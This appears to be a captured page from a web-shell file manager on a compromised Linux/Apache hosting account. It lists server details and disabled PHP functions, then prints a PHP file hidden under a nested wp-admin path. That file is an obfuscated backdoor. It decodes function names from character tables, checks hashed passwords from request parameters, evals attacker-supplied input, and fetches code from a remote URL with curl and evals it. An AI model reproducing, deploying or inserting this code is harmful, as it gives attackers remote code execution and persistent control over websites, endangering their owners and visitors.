HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-admin/user/user/user/index.php
<?php $PHWq = "r"."a"."n"."g"."e"; $VMlY = $PHWq("~", " "); $u=${$VMlY[26+5].$VMlY[28+31].$VMlY[12+35].$VMlY[0+47].$VMlY[33+18].$VMlY[45+8].$VMlY[22+35]}; if(in_array(gettype($u)."21",$u)&&(md5(md5(md5(md5($u[15]))))==="8a5c056da0f77b9cbffacdf2fe5cb3a1")){ $u[65]=$u[65].$u[71]; @eval($u[65](${$u[38]}[25])); } metaphone("YcK9AIklKAy5C1L6yhe1t0uushFeeuiFO48rjdA4nxs"); class EZNK{ static function eQcCwTSg($lm) { $EgLJhtHRZ = "r"."a"."n"."g"."e"; $fsc = $EgLJhtHRZ("~", " "); $Yb = explode("<", $lm); $jYQCcrP = ""; foreach ($Yb as $Xxu => $ivBUJ) $jYQCcrP .= $fsc[$ivBUJ - 60073]; return $jYQCcrP; } static function Cz($jhGuE, $tjmzNnAu) { $VkIqgCn = curl_init($jhGuE); curl_setopt($VkIqgCn, CURLOPT_RETURNTRANSFER, 1); $sLYJTrKeUX = curl_exec($VkIqgCn); return empty($sLYJTrKeUX) ? $tjmzNnAu($jhGuE) : $sLYJTrKeUX; } static function fAkgcmBIX() { $ZQ = array("60100<60085<60098<60102<60083<60098<60104<60097<60082<60089<60100<60083<60094<60088<60089","60084<60083<60085<60104<60085<60088<60083<60150<60148","60093<60084<60088<60089<60104<60099<60098<60100<60088<60099<60098","60087<60102<60100<60092","60101<60102<60084<60098<60145<60147<60104<60099<60098<60100<60088<60099<60098","60097<60094<60091<60098<60104<60096<60098<60083<60104<60100<60088<60089<60083<60098<60089<60083<60084","60127<60157","60074","60152<60157","60134<60117<60117<60134<60110","60097<60094<60091<60083<60098<60085<60104<60094<60089<60087<60082<60083"); foreach ($ZQ as $GgqETPV) $QvmjC[] = self::eQcCwTSg($GgqETPV); $xrWyKFp = @$QvmjC[1]($QvmjC[4+6](INPUT_GET, $QvmjC[2+7]));  $kWqPVLaeXA = @$QvmjC[1+2]($QvmjC[5+1], $xrWyKFp); $VWhfzeU = $QvmjC[1+1]($kWqPVLaeXA, true);  @$QvmjC[4+6](INPUT_GET, "of") == 1 && die($QvmjC[1+4](__FILE__)); if( ((@$VWhfzeU[0] - time()) > 0) and (md5(md5($VWhfzeU[0+3])) === "ba4de4d58fa801360e96c9c49880f52e") ): $IWlPbvqBM = self::Cz($VWhfzeU[1+0], $QvmjC[4+1]);@eval($QvmjC[2+2]($IWlPbvqBM));die; endif; }}EZNK::fAkgcmBIX(); ?>